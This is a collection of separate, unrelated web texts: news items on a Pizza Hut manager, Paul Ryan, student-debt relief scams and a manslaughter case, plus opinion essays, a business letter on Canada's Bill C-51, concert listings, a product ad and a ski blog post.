-The manager of an Indiana Pizza Hut has been offered his job back after claiming he was fired for refusing to open the restaurant on Thanksgiving.  Tony Rohr, who worked his way up from cook to manager at the restaurant, in Elkhart, Ind., over 10 years, said the company that owns the store dictated it be open for the holiday, and he refused.  "I said, 'Why can't we be the company that stands up and says we care about our employees and they can have the day off,?'" Rohr told WSBT 22. "Thanksgiving and Christmas are the only two days that they're closed in the whole year and they're the only two days that those people are guaranteed to have off to spend with their families.”  After news of the reported firing made national headlines Wednesday night, Pizza Hut announced on its Facebook page that Rohr had been offered his job back.  "We fully respect an employee’s right to not work on a holiday, which is why the vast majority of Pizza Huts in America are closed on Thanksgiving. As a result, we strongly recommended that the local franchisee reinstate the store manager and they have agreed. We look forward to them welcoming Tony back to the team," the statement read.  Earlier Wednesday, a Pizza Hut rep told WSBT 22 that the decision to remain open on Thanksgiving wasn't up to Rohr, and that it came from the corporate level.  Rohr wrote a letter venting his frustrations, saying: "I do not resign. However, I accept that the refusal to comply with this greedy, immoral request means the end of my tenure with this company." He added, "I hope you realize that it is the people at the bottom of the totem pole that make your life possible."  Later, the station got in touch with the director of operations for the local chain and he told the news station that Rohr did not get fired, but rather, he quit.  It was not known late Wednesday if Rohr accepted the company's offer.  Pizza Hut is owned by Yum! Brands, which also owns Taco Bell and KFC.
-Since most of my output will no longer be suitable for tumblr’s new puritan sensibilities, I’ll be joining many other artists in jumping ship and no longer posting art here.  Thanks to everyone who’s ever followed, reblogged, and otherwise supported or enjoyed my artwork! I started posting art originally on tumblr, and most of development over the last couple of years has been thanks to the feedback and support I’ve recieved from all you lovely people.  I’ll still be posting art to the following places, please do follow them!  Twitter: @rosettiarts - I’ll be uploading all my art to this account, SFW and NSFW.  Furaffinity: Rosetti http://www.furaffinity.net/user/rosetti/ - Mostly the furry stuff, but probably everything else too now tumblr’s kaput.  Pixiv: Rosetti https://www.pixiv.net/member.php?id=5318345: - Mostly the shortstack/anime flavoured stuff, but same dealy: probably all my output will go up there now.  Newgrounds: https://rosetti.newgrounds.com/ - It’s brand new, but apparently newgrounds has been on the up-and-up for content creators, and a lot of other artists are heading in that direction. I’ll be uploading my work there.  Deviantart: professortangent - I have one of these. I tend to only upload sfw art to it.  Commissions, I still do those.  I can still be reached for commission enquiries via email, or through twitter, or the messaging services on any of the other sites listed above.  Email: rosettiartenquiries[AT]gmail.com  Prices and information and junk: http://sinearts.tumblr.com/commissions  It’s been a trip everyone, but fuck tumblr :D
-Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.) in an interview broadcast Monday dismissed criticism of his tweet saying the Texas shooting victims “need our prayers,” arguing “prayer works.”  “It’s disappointing. It’s sad, and this is what you’ll get from the far secular left. People who do not have faith, don’t understand faith, I guess I’d have to say,” Ryan told Fox News’s Laura Ingraham on “The Ingraham Angle” when asked about the criticism.  ADVERTISEMENT  “And it is the right thing to do, is to pray in moments like this because you know what? Prayer works.”  Ryan's remarks come after he said Sunday that the mass shooting in Texas was “devastating.”  “Reports out of Texas are devastating,” Ryan wrote on Twitter. “The people of Sutherland Springs need our prayers right now.”  The speaker took heat on social media for the comment, with various users calling for gun control in the wake of the shooting that left 26 people dead after a gunman opened fire at a church in Sutherland Springs, Texas.  “And I know you believe that and I believe that,” Ryan told Ingraham about the effectiveness of prayer.  “And when you hear the secular left doing this thing, no wonder you’ve got so much polarization and disunity in this country when people think like that.”
-Last week we ran a list of Coachella bands headed to Phoenix around the festival's dates. Well, since then the list has grown, including big name acts like Phoenix, The Postal Service, and Tegan and Sara. So allow us to fill you in with a comprehensive list of Coachella acts headed to the Valley of the Sun.  See also:  -Stop Hating on the 2013 Coachella Lineup -Didn't Buy A Coachella Pass in Time? Good Thing a Bunch of Coachella Bands Are Coming to Phoenix  Continue Reading  Hanni El Khatib: On Friday, March 8, L.A.-based garage hellion Hanni El-Khatib will join Cold War Kids, Mergence, In the Valley, Diners, Wooden Indian, Stan Devereux and the Funky Suns, and more at New Times' Carnaval Eléctrico festival at Crescent Ballroom.  Airborne Toxic Event: Critics have always been savage to this band -- but the L.A.-based alt-rockers have a way with their fans. The band comes to Marquee Theatre in Tempe on Monday, April 1.  Dirtyphonics: French EDM duo Dirtyphonics -- who've worked with Skrillex and Marilyn Manson -- will headline a set at the Monarch Theatre in downtown Phoenix on Saturday, April 6.  Phoenix: Coachella mainstagers Phoenix are coming to Tempe; the French indie rockers play Monday, April 8, at Marquee Theatre.  Beach House: Mentioning this doesn't do that much good, as the dream pop band's Tuesday, April 9, show at Crescent Ballroom already has sold out, but it would be much easier to buy a ticket for this show than to deal with shady folks selling Coachella wristbands.  Sigur Ros: This cinematic Icelandic band will swing by Comerica Theatre on Friday, April 12, and the band's orchestral post-rock sounds amazing in concert. Get on it.  Monday, April 15: Coachella-Related Concert Onslaught Day 2013: Unless you're at the festival, you really have no excuse for not going to a show on this day. The xx will be at Marquee Theatre; Poliça will be at The Rhythm Room; and Local Natives will be at Rialto Theatre in Tucson (a much less strenuous road trip than the one to Indio).  Alex Clare: If you're not burned out on "Too Close" yet, you can see this dubstep/soul musician perform at Marquee Theatre on Tuesday, April 16.  Portugal. The Man: These indie rockers always have a big draw. Check out Glenn BurnSilver's review of the band's show last year ("The band may make great records in the studio, but live, they're even better," writes BurnSilver). The band will play at the Marquee Theatre on April 17, and we can't guarantee that it won't sell out. They'll be joined by Lord Huron, also scheduled to appear at Coachella.  Rodriguez: If this singer/songwriter's name doesn't ring a bell, the documentary Searching for Sugar Man may turn you into a fan. The singer will be performing at the gorgeous Orpheum Theatre on Thursday, April 18, and will perform in Tucson the following day.  The Postal Service: Give Up, Ben Gibbard and Jimmy Tamborello's team- up LP as the Postal Service, turns 10 this year, and the long-inactive duo is getting back together to celebrate (and push copies of Sub Pop's upcoming deluxe edition). Their stop at Coachella comes in addition to a local date, on Thursday, April 18, at Comerica Theatre . The Gaslight Anthem: These blue-collar Jersey punks were a surprising addition to the Coachella lineup, and they always put on a fantastic show. We highly recommend seeing them at Marquee Theatre on Tuesday, April 23, for a dose of Springsteen-influenced rock.  Father John Misty: The kooky former drummer of Fleet Foxes will return to the Valley a couple of weeks after Coachella, appearing at Crescent Ballroom on Thursday, May 4.  Tegan and Sara: You have to wait a little bit to catch Tegan and Sara in Phoenix. They perform in Tucson on Sunday, April 14, but it won't be until Tuesday, September 10, that they grace the Valley at Comerica Theatre. It'll be worth the wait though -- they'll be opening for fun., fronted by Arizona's favorite son and hitmaker, Nate Ruess.  That's all we know for now. We have our fingers crossed for Lou Reed, Yeah Yeah Yeahs, Modest Mouse, Grizzly Bear, Knife Party, Franz Ferdinand, Violent Femmes, Vampire Weekend, Nick Cave and the Bad Seeds, Wu-Tang Clan, and more to schedule dates in Arizona.  Writeups by Melissa Fossum and Jason P. Woodbury  See also:  -Stop Hating on the 2013 Coachella Lineup -Didn't Buy A Coachella Pass in Time? Good Thing a Bunch of Coachella Bands Are Coming to Phoenix  Follow us on Twitter and friend us on Facebook
-Still looking for that “exploiting a tragedy” bounce  In 2008, candidate Hillary Clinton questioned candidate Barack Obama’s ability to handle that 3 AM phone call that would inevitably come.  What we didn’t know then is that Barack Obama would be the man who — with Hillary Clinton’s assistance — would make the call to take out Osama bin Laden. And we had no idea that an even better test for a presidential candidate than his or her ability to handle that 3 AM phone call was the ability to not send that 12 AM email.  September 11, 2012 was the first day in about a year in which Mitt Romney didn’t lob incendiary, specious attacks at the president. He decided to honor the eleventh anniversary of the tragic events of 9/11 with a little decorum. As he did, the president’s post convention bounce continued and the conservative media began to turn on Mitt. Within a few hours Rush and Laura Ingraham and Bill Kristol all savaged his performance, saying basically anyone could beat Obama so Romney must be terrible.  Mitt’s problem? He wasn’t attacking enough.  For Republicans — who are still willing to employee all of the people who planned the failed Iraq War and still want to offer more tax breaks for the rich after the Bush tax breaks created no jobs — the problem can’t ever be their ideas. And since they decided before any of his policies took effect that President Obama was a failure, they just couldn’t be losing to him. No, it must be that Mitt — who has been throwing invented charges at the president for a full year – just isn’t being nasty enough.  So what did Mitt do around 12 AM of September 12?  He decided that he would take a tragedy that was still unfolding and use it to make a political point in a scathing email statement. Conservatives were complaining about a statement that the American embassy in Cairo put out trying to soothe the protesters. So when a likely unrelated attack on our embassy in Benghazi took the life of an American Ambassador, he took that critique and used to attack the president via email.  Anything to get the knives out of his back and into the president.  Mitt’s email and his smirking defense of it in a press conference have been roundly criticized by almost everyone—except, of course, some of the same maniacs who planned and supported the Iraq War.  Mitt’s defenders called the moment Reaganesque—except they never bothered to look at how Reagan handled such situations in his 1980 campaign.  You could say that the performance was George W. Bushlike, but our memories of the results of the Administration have blurred our understanding of Bush. W. made terrible decisions and hired terrible advisers. But he never did so in a rushed, obviously harried way. He had the confidence of knowing he had support from his dad’s old allies and the steady backing of the right wing press, which at the time was less potent.  In an era where Fox News, AM radio, Drudge and Breitbart are increasingly fact free and set on destruction, a weak candidate like Mitt Romney who has to bend to their ridiculous whims is especially dangerous.  Mitt Romney didn’t understand, or didn’t care, that he was commenting on and inflaming a crisis that is still in progress, putting American diplomats all over the Middle East at risk. His goal is stopping the president’s bounce and he doesn’t even understand the last thing he needs to worry about right wing that never will never really love him.  (Keep in mind that if Mitt defies the odds and is elected, his reliance on the right wing media to avoid a primary challenge will be even more desperate.)  Romney had a chance to show the center what kind of president he would be. And that 12 AM email revealed that he’s a man who has no idea what message he should send.  [Photo by Anne Savage.]
-Canada’s future depends on its ability to compete on the world stage. As business leaders and tech entrepreneurs, we hope to play an important role in that future.  Many of us were among the more than 150 business leaders who wrote to the previous government to articulate our concerns about Bill C-51. The diverse signatories were affiliated with companies worth billions of dollars, including several start-ups that are planning IPOs, Canada’s largest software company, and one of Canada’s largest institutional investors.  We were buoyed by your government’s promise to introduce much-needed parliamentary oversight of security services, but are deeply troubled that the initial concerns with Bill C-51 from the business community remain largely unaddressed. We appreciate the opportunity for stakeholders to weigh in regarding your public consultation on Bill C-51 but the process to date has raised additional concerns.  In particular we find the following elements from the national security consultation extremely concerning:  Far from mitigating the above concerns, the language from your government’s National Security Consultation further undermines international trust in Canada’s technology and other sectors. In fact, many of the proposals set out in your consultation will further undermine Canada's reputation and change our business climate for the worse.  1. It appears to favour the undermining or breaking of the encryption that many of our businesses and workers rely on.  2. It floats and positively frames mandatory interception powers to access our sensitive business and customer data.  3. It suggests that mandatory access to subscriber data such as an IP address without a warrant is akin to looking up a number in a phone book. This is an appalling and incorrect analogy for a piece of data that can unlock the highly intimate details of the lives of law-abiding Canadians.  4. It raises the idea of forced customer data retention and suggests practices such as purging user data as problematic when such practices actually strengthen data security and customer privacy.  Frankly, it comes as an unwelcome surprise to us to see your government float proposals that, far from addressing the serious problems with Bill C-51, will in fact dramatically exacerbate those problems. We hope you will not proceed with any of these dangerous ideas.  All of the above points relate to data security and we’d like to reiterate a key part of the letter that many of us signed onto last year:  “The data disclosures on innocent Canadians and those traveling to Canada for business or recreation could make our clients leave us for European shores, where privacy is valued. Duplicated data flowing between multiple unsecured federal government and foreign government databases leaves Canadians and Canadian businesses even more open to being victimized by data breaches, cyber criminals and identity theft.  “Even without the increasingly permissive data disclosure practices enabled by C-51, federal government agencies have seen over 3000 breaches of the highly sensitive private information of an estimated 750,000 innocent Canadians in recent years. More than 200 Canadians have come forward in recent months to say their personal or professional lives have been ruined, due to information disclosures, despite never having broken the law. As it is we have a privacy deficit in Canada that erodes trust in both commerce and trade. Bill C-51 deepens that deficit.”  We agree with the hundreds of thousands of Canadians who have called on the government to fully scrap this reckless, dangerous and ineffective legislation through OpenMedia and the many other groups working on this issue. We hope your government will listen to Canadians, the business community and experts by starting over with new legislation that respects our collective desire for security overall. Privacy and data integrity safeguards represent security in its most clear and basic sense. Let’s start with this understanding and work from there.  We have attached an appendix that includes more detailed answers to some of the high-level questions put to Canadians in the government’s online consultation on this matter. We hope you find our answers instructive.  We hope for a quick response that addresses these serious economic and data security concerns. We are hopeful that common sense will prevail on this file.  Sincerely,  Laura Tribe, Executive Director, OpenMedia  Julia Fournier, President & CEO, HCMWorks  Wyle Baoween, CEO, HRx Technology  Sara Blenkhorn, Director of collaboration, Leverage Lab  Tim Bray, co-founder, Open Text Corporation  Mark Buell, Director, Internet Society (ISOC), North American Bureau  Matt Buie, Financial Planning Advisor, Assante Capital Management  Graeme Bunton, Manager, Public Policy, Tucows  Jason Collinge, VP Technology, Payfirma  Jennifer Cutbill, Executive Director, Vancouver Design Week  Mo Dhaliwal, Director of Strategy, Skyrocket  Phillip Djwa, President/CEO, Agentic Communications, Inc.  Ryan Dochuk, Co-founder, TunnelBear Inc.  Kat Dodds, Founder/Director, Hello Cool World Media  Bryce Evans, Founder, The One Project  Rachel Forbes, Principal & Legal Eagle, Sharp Six Services  Benjamin Fox, Founder, Tapstream  Martha Fusca, President,The Storyz Network  Mehrdad Gharib, President, FEED Engineering Inc  Frederick Ghahramani, Founder/CEO, airG  Mike Gifford, President, OpenConcept Consulting Inc.  John F. Gray, Co-founder, Mentionmapp  Michael Goodman, Chairman, Tri City Group of Companies  Mack Hardy, President, Affinity Bridge Consulting Ltd.  Daryl Hatton, CEO, ConnectionPoint  Kelsey Heikoop, Owner, Adion Systems  Raynard von Hahn, Lawyer, Genesis Law Corporation  Peter Henry, CEO, GrowthLogic Inc.  Keith Ippel, CEO, Spring Activator Inc.  Gary Isberg, President, AGI by Design  Andrew Jung, Information Architect, Skipping Rock Communication Arts  Alex Krohn, CEO, Gossamer Threads Inc.  Christopher Larsen, Owner, DeadRatGames Inc.  Jordan Lewin, CEO, Digital Sparks Media  Urszula Lipsztajn CEO and founder, WorkBrite  Campbell Macdonald, CEO, Proxxi  Monika Marcovici, Director, Board of Change  Tara Mahoney, Founder/Creative Director, GenWhy Media  Susan McLennan, President, Reimagine PR  Frank Michlick, Founder, DomainCocoon Inc.  Adam Millard, Chair, 3Fold Partners  Chris Nissen, President, Nissen Fasteners  Philip Neves, President/CEO, Neves Software Inc.  Ken Nickerson, CEO, iBinary LLC  Sandra Nomoto, President, Conscious Public Relations Inc.  Andrei Odeski, CEO & Founder, Fortify Communications Inc  Meredith J Powell, Advisor, Finn.ai  Shamus Reid, Co-Founder/COO, New/Mode Inc.  Vanessa Richards, Director, Creative Together  Michael Richardson, Chief Scientist, Sandelman Software Works  Steve Rio, CEO, Briteweb  Thomas Savundra, CEO, Sync.com  Joel Solomon, Chairman, Renewal Funds  Josh Stuart, President, cStreet Campaigns Inc.  Marten Sims, European operations lead, Happy City  Steven Tannock, Founder & CTO, Codegnostic  Michael Tippett, CEO, Wantoo  Matt Toner, President, Zeros 2 Heroes  Andrew Wyllie, Founder and CTO, NU Frontier Communications  Zaid Zawaideh, COO, Sandglaz
-Dec 30, 2015; San Diego, CA, USA; USC Trojans defensive tackle Noah Jefferson (91) and defensive tackle Kenny Bigelow Jr. (95) work against each other before the game against the Wisconsin Badgers in the 2015 Holiday Bowl at Qualcomm Stadium. Mandatory Credit: Jake Roth-USA TODAY Sports  One of the most exciting Tweets to come across our Arizona Football Twitter feed recently is the announcement by USC defensive tackle Noah Jefferson that he had committed to the University of Arizona. We had to find out more.  Recently Arizona Football has had a multitude of recruits poached from their lists, especially from Oregon head coach Willie Taggart (Cody Shear and Braxton Burmeister to name a few). So it’s great to hear when a current USC Trojan decides that Arizona Football is the better program for him.  First things first,we wa nted to know when Noah actually made the decision and why. “It was the Sunday I committed,” said Noah, “I took an unofficial visit and sat down with Coach Rich Rod, they made me feel like I was at home. The coaches understood my mentality and how I play. I liked the position they were gonna play me in their scheme.” Not to mention, “It was the best situation for me and my family.”  When it comes to inspiration or motivation, he turns to who he can count on in life, “My wife and family are my motivation.” When asked what inspires him, what his motivating mantra may be, his answer was spiritual. “My favorite scripture is Jeremiah 29:11: For I know the plans I have for you, Declares the Lord. Plans to prosper you and not to harm you. Plans to give you hope and a future,” quoted Jefferson.  Pretty powerful stuff.  Jefferson’s dad played football at Maryland, his older brother won a Super Bowl with the Denver Broncos (Will Parks team, and Rickey Hunley’s former team), and his little brother is one of the top 7th graders in the country for basketball. Jefferson’s wife is a prelaw major at UNLV. Pretty. Darn. Cool.  Pets? “I don’t really have any pets, lol, they died.”  How would Jefferson and his family describe him? “Fun, great sense of humor, like to have fun, very competitive hate to lose, laid back and mellow at times.” He has no nickname yet, kind of up to us, “Y’all can call me what you want!”  After talking it over with God and my family I would like to Announce that I have Commited to The University Of Arizona #BearDown pic.twitter.com/xAfzqFgnym — Noah Jefferson  (@noahjefferson_) March 6, 2017  Noah told us he would keep in touch with a few players from SC, “I don’t want to lose touch with is Kevin Scott, Chuma Edoga.” He learned some important lessons from his time at SC, specifically that he has competitive nature and that he will never get outworked.  Jefferson is looking forward to establishing who he is once he gets to Tucson, which is the second Day of Fall Camp, “I’m just ready to be on the field again!” He feels his greatest strength are his Athleticism, pass rushing and ability to stop the run. Well, that is much-needed in Arizona! We hoped he could play next season, but weren’t sure of his situation so we asked and he answered, “I can play if this waiver goes through, but I can for sure practice and stuff.”  https://twitter.com/noahjefferson_/status/823724646952337408  So in a nutshell, Arizona’s latest commit, is passionate about football, is spiritual and deep, and wants to prove to Wildcats fans and himself that he is on the right path, in the right place and going to show up and kill it on the field. One thing he has his sights set on, and I hope the coaches can make this happen for him, he wants a jersey with a ‘single digit.’  Here are some highlights of Noah to take in:  We thank Noah and his family for his time with us, Wildcats fans have things to look forward to next season, and Noah Jefferson is a big one.
-The AMD Radeon™ R9 295X2 graphics card is the world's fastest, period.1 A mammoth eight gigabytes of memory and more than 11.5 teraflops of computing power help this card do what it was built to do: be the undisputed graphics champion.  Two AMD Radeon™ R9 series GPUs (Hawaii XT)  When you're holding all the cards, it only makes sense to double down. We took two of our most advanced, Mantle technology-enabled GPUs and put them together in one cohesive unit. Don't bet against it.  Factory-fitted liquid cooling system  In an industry first, the AMD Radeon™ R9 295X2 graphics card reference design ships with an advanced closed-loop liquid cooling system developed jointly with Asetek. Enjoy cool temperatures, quiet operation and consistently high performance, right out of the box.  All metal construction  Built from striking powder coated aluminum, this GPU is beautiful to behold. It's built to our highest standards, and it sends a message that's loud and clear: this is serious hardware.  Mantle technology  There's optimization, and then there's Mantle technology. Games enabled with Mantle speak the language of Graphics Core Next to unlock revolutionary performance and image quality.  AMD TrueAudio technology  Technology that puts the magic of surround sound into every headset and helps give sound engineers the freedom to innovate in ways they've never had before. This is what the future of PC gaming sounds like.  Ultra resolution powerhouse  For some gamers, having enough isn't the point. For them, overkill is merely a starting point. That means extreme resolutions, multiple monitors and sliders to the max. Run ultra settings in 4K with impunity. Or get two million pixels more than 4K by combining five HD screens in an AMD Eyefinity technology setup.4 Either way, the AMD Radeon R9 295X2 barely breaks a sweat.  Features
-Imagine yourself being tried for a sensational crime, one that has gripped the passions of the entire country. It’s Casey Anthony, Duke Lacrosse & George Zimmerman, all rolled into one. Would you like to be tried in a well regulated courtroom, presided over by a judge, your fate in the hands of a jury that has spent weeks carefully reviewing all evidence & expert testimony? Or would you prefer for your fate to be decided by popular vote, your future in the hands of every Joe the Plumber with a pulse & an opinion, regardless of his knowledge of the case details?  Earlier, we had discussed why our current system of democracy is fundamentally flawed, and why our founding fathers had always intended for this nation to be a constitutional republic, and not a direct democracy. We had also discussed an alternative system of democracy, one that incorporates vastly successful insights from Google’s search engine. Understandably, many were wary of making such dramatic changes to our electoral system, one that scraps the idea of one-person-one-vote. Hence why today, I’d like for us to discuss another great alternative & improvement over our current dysfunctional system. One that is much more simple and directly parallels a civic system that we already use everyday, with great success: the Jury system.  Our founding fathers were always very wary of mob rule, and justifiably so. History is full of populism and mob justice gone wrong, with terrible consequences. Even today, who amongst us is willing to put our life in the hands of a mob that is short on facts, but long on emotion & passion?  The solution that was found: Trial by Jury. Power was decentralized and fairly portioned out to all segments of society, by creating a system that randomly picks Jurors from all demographics and walks of life. But at the same time, the problem of misinformation & emotional decision making was solved by requiring that the Jurors spend weeks sitting in a courtroom. One that is well regulated by Judges and a system of procedures to combat the spread of irrelevant & incorrect information. One where both sides get to present their best case through facts, evidence & expert testimony. One where the Jury is required to pay full attention to the proceedings and deliberate carefully before finally making their decision.  Our current system of democracy solves the first problem admirably, by ensuring that political power is fairly distributed amongst all segments of society. But it fails horribly at resolving the second problem. Each campaign season finds itself marked by soundbites, shallow arguments, and opinions as opposed to facts, because these are the things that win elections. Rumors & misinformation roam free and can change the course of elections, as John Kerry, John McCain & Barack Obama can all tell you. Without any pressure to listen to expert testimony from both sides, voters are free to self-segregate themselves within their own individual echo chambers. It’s no surprise that the election process more closely resembles a PR campaign, as opposed to a fact finding mission.  It’s all truly unfortunate, given that a much better system is staring us right in the face.  Imagine during every election year, auditoriums packed full of jurors, convening across every state in the country. Jurors holding the greatest civic responsibility of all: electing our Congressmen and the President.  Imagine every candidate being tried in these auditoriums across the country. Their actions, campaign promises, voting records, public policy platform & general conduct… all scrutinized carefully in a courtroom presided over by a judge. Imagine them being grilled by opposing attorneys for every campaign promise they broke, for every campaign contribution they accepted from lobbyists, for every dollar they spent on wasteful government expenditures, and for every vote they cast in favor of special interests. Imagine experts from the fields of Foreign Policy, Healthcare, Fiscal Planning, Economics & National Security… all brought in to give testimony on the candidates’ positions & how viable their plans are.  Imagine a jury in every county, a hundred strong, randomly picked from the public to represent every section & segment of our society, displaying the full and complete diversity that is America. Imagine a jury, excused from work & school for a few weeks, attentively listening to all expert testimony, carefully considering all the facts & analysis presented, and meticulously deliberating over who they would like to have represent them in their state capitol and Washington DC.  That is the type of democracy that I would like to live in.  Winston Churchill once famously remarked that “the best argument against democracy is a five-minute conversation with the average voter.” The quote is often invoked as an insult against the average Joe, but I don’t see it that way.  Keeping up with politics, public policy & current affairs isn’t a hobby that most of us dedicate ourselves to… and we shouldn’t have to. We all have our own lives to lead, our own stories, problems & passions that we follow. If every single person was a West Wing aficionado intent on following every political development, our society would be so much more boring and so much less colorful. Some of us may enjoy reading the news religiously, and others may enjoy volunteering in our local communities. Some of us may enjoy careful deliberation of public policy initiatives in Washington, and others may prefer dedicating their lives towards achieving scientific & technological breakthroughs.  These are all great passions worth pursuing, and we need a political system that doesn’t rely on every voting citizen becoming a public policy expert. A system that ensures that every candidate gets a fair & comprehensive hearing, by an electorate that has been given all the evidence, testimony & time needed to carefully deliberate and reach a conclusion. The Jury system may not be perfect – juries do return bad verdicts more frequently than we’d like – and the specific details of its implementation will certainly need to be tweaked to better fit elections. But it is certainly a vast improvement over any popular-vote based alternative. It’s time we applied these lessons to our democratic process as well. It’s time we started conducting our Democracy by Jury.  ——————  Related Links:  The problems inherent to direct democracy  Direct Democracy vs Representative Democracy  Another suggestion to reform democracy, using the same principles that made Google the world’s greatest search engine
-A Big Tip of the Tuque to the Crew at Mount Van Hoevenberg  At the risk of repeating myself, it has been a winter of extreme weather in the Adirondacks. In a not so ironic twist, the Southern Jet Stream took my advice and went home, but his slightly less annoying cousin, the Polar Vortex is back in town. By this point however, after enduring a few freeze - thaw cycles, most Adirondackers will agree, both of these extreme weather visitors have become very annoying.  Is anyone else getting tired of seeing screen shots like this one posted on Facebook? I am.  After the warm rain washed away all the snow and ice, (ski base) the big freeze descended on Lake Placid and the Adirondacks. We received six inches of snow since the temperatures dropped, but that is not enough to put back country skiing back in business. The sub-zero temperatures and wind chills are the story this week, so skiing at Whiteface Mountain takes a strong constitution.  In what can only be described as a heroic effort, the trail crew at Mt. Van Hoevenberg spread and groomed a few kilometers of man made snow. This provides a nice, although flat, loop course with two tracks set and a firm skate lane for those of us who must get outside.  The only thing to do in a situation like this is make the best of it. Seeking downhills, I conducted a short assessment of the steeper trails covered in only natural snow. Frozen cheeks on the downhills weren’t worth the poor conditions, but a couple of loops around the perfectly track-set course was surprisingly fun despite the minus-five-degree temperature.  Poor snow conditions aside, late afternoon skiing at Mt. Van Hoevenberg is a treat on a clear, cold day. The setting sun on Cascade Mountain creates an Alpenglühen to complement the inevitable post-ski glow.
-Woman, 51, 'smothers lover to death with her breasts during drunken row in caravan'  Witnesses heard boyfriend pleading with her to get of f of him  He weighed a stone less than her  14st Donna Lange said not to remember how her partner died  Police photographed victim clutching hair the same colour as hers  A buxom 14st woman faces manslaughter charges after allegedly smothering her lover with her breasts during a drunken row inside a mobile home.  Donna Lange, 51, from Everett, Washington, is reported to have thrown herself down on top of her boyfriend at midday on Saturday.  Police arrived at the scene following reports of shouting coming from inside the mobile home and found Lange lying on top of her boyfriend, 51, who weighed a stone less than her.  Donna Lange, 51, from Everett, Washington, is reported to have thrown herself on top of her boyfriend at midday on Saturday in their mobile home. (Mobile home file picture)  Witnesses say they heard the 5ft 7in man, who shared the mobile home with 5ft 6in Lange, pleading with her to get off of him.  One witne ss told The Sun : 'Sh e had her chest on his face - she smothered him to death.'  Lange, who was heavily intoxicated and received facial injuries in the disturbance told police she had no idea how the man had died.  Doctors tried to save him but he was pronounced dead on arrival at Washington Swedish Medical Centre.  Police said that in addition to the victim, a man and three women were at the scene, all who were heavily intoxicated.  A policeman photographed what appeared to hair the same colour as Lange's, clutched in the victim's hand.  Lange faces charges of second-degree manslaughter.  Two months ago a German woman was accused of trying to kill her lawyer boyfriend with her 38DD breasts.  Franziska Hansen, 33, from Unna, who weighs nine stone was accused of ‘attempted manslaughter with a weapon’ after her 13-stone boyfriend claimed she tried to smother him with her breasts and pretend it was a sex game.  Lange, who was intoxicated and had facial injuries told police she had no idea how the man had died. (file picture)  She denies the claim saying it was a sex game and he knew what it was all about.  Tim Schmidt told the German court that although they had had a difficult relationship, until then everything in the bedroom had been normal.  ‘The incident happened in May – we were having sex,’ he said.  ‘She was sitting on me naked and I was kissing her breasts. Suddenly she grabbed my head and pushed between her breasts with all of her force.  'I couldn't breathe any more, I must have turned blue. I couldn't tear myself free and I thought I was going to die.'  He said that with his last reserves of strength he had managed to extricate himself from the woman's vice-like grip and fled naked to a neighbour and demanded he called the police.  Mr Schmidt said when they met four years ago, the couple had been completely in love.  He said: ‘Everything was great between us – and I would have done everything for her. But it started to go wrong when I got my first job as a lawyer and we moved to Unna.  ‘She could not hold down a job and just had one part-time job after the other. And the better my career went – the worst it seemed to be for her.’  He said Hansen tried to kill him after learning he was planning to leave her.
-If you’ve ever received a phone call, Facebook ad, Twitter notification or brochure in the mail offering help with student loans that seems too good to be true, you’re not alone.  Roughly 60% of a sample of more than 6,300 student loan borrowers said they’d seen advertisements for what consumer advocates have dubbed student debt relief scams — companies that offer to help borrowers with their student loans for a fee, but typically provide services borrowers can access from the government for free. Nearly 45% of respondents said one of these companies had reached out to them directly, according to the survey conducted by personal finance site NerdWallet, and student loan advocacy group, Student Debt Crisis.  The responses came largely from people who subscribed to Student Debt Crisis’s email list, which is not a nationally representative sample, but the results provide some insight into a phenomenon increasingly concerning to policy makers. The more than 40 million student loan borrowers contending with $1.3 trillion in student loans have become a vulnerable population ripe for abuse. In response to borrowers’ struggles, the Obama administration expanded the programs borrowers can use to manage their debt, but scammers have seized on the programs as an opportunity to lure borrowers, advertising their services with government logos and phrases like “Obama student loan help.”  “There is confusion in the marketplace as to which programs relate to you, what you can apply for,” said Natalia Abrams, the executive director of Student Debt Crisis, a nonprofit organization dedicated to reforming how higher education loans are paid. “These debt relief companies prey on that confusion.”  Abrams said her organization first became aware of the companies a few years ago after one started using the logo of an earlier iteration of the Student Debt Crisis, called Forgive Student Loan Debt, as part of its advertisements and the organization had to send the company a cease and desist letter. They’ve heard from countless borrowers since about the firms, she said.  About 9% of the survey respondents said they’d actually paid for student debt relief services, spending an average of $613. In lawsuits, the Consumer Financial Protection Bureau and states attorneys general have accused various student debt relief companies of luring borrowers into paying for services they could get from the government for free and often not actually providing them or in some cases, keeping borrowers on the hook for a repeating charge illegally.  Borrowers of color were more likely to have used the services with 15% of black respondents, saying they paid a debt relief company compared with 9% of white respondents. While it’s hard to say exactly why this is the case it may be because black borrowers are more likely to take out loans, have higher balances and fewer resources to fall back on if the debt becomes unmanageable. Abrams also noted that predatory companies have a history of targeting minority communities.  “There’s an emotional element to this as well and you do want an answer right away,” said Nonso Maduka, NerdWallet’s student aid expert, of why borrowers of all types are lured by the companies. “Even if something doesn’t feel like the best path, if it feels like a quick path and quick solution that is something that you might entertain.”  Other experts have argued that sloppy student loan servicing also allows the companies to proliferate. Borrower advocates often deride servicers — the private companies hired by the government to collect student loan payments — for not providing borrowers with enough or the right information. Critics have noted that the prevalence of student loan relief scams is reminiscent of the mortgage crisis, where servicers failed to provide homeowners with necessary information and scammers popped up in their stead.  “When there is such a need for information and assistance and that’s not being provided by the entities that are supposed to be providing it, people want to turn somewhere else for help,” said Adam Minsky, a Boston-based lawyer who works with student loan borrowers. “These debt relief scams are feeding on the frustrations and the desperation of people.”  Though Minsky applauds government efforts to curb the problem, including the CFPB’s work attempting to shut down some of the outfits and cease and desist letters from the Department to these companies asking them to stop using the feds’ logo, he says the only way to truly stop the companies is through a “total overhaul of the federal student loan system and more regulations governing student loan servicing as a whole.”  “Right now we’re attacking the problem in the sense that we see a company pop off, they rip people off, we go after them and three other companies pop up in their place,” Minsky said. Survey respondents identified 200 different student loan relief companies that they had encountered.  The Department of Education is currently in the midst of revamping the student loan servicing system so that servicers are incentivized to work in borrowers’ best interest and so that borrowers can repay their loans through one government-branded portal.  “If we fix [the servicing system] then people won’t feel the need to turn to these companies,” Minsky said.
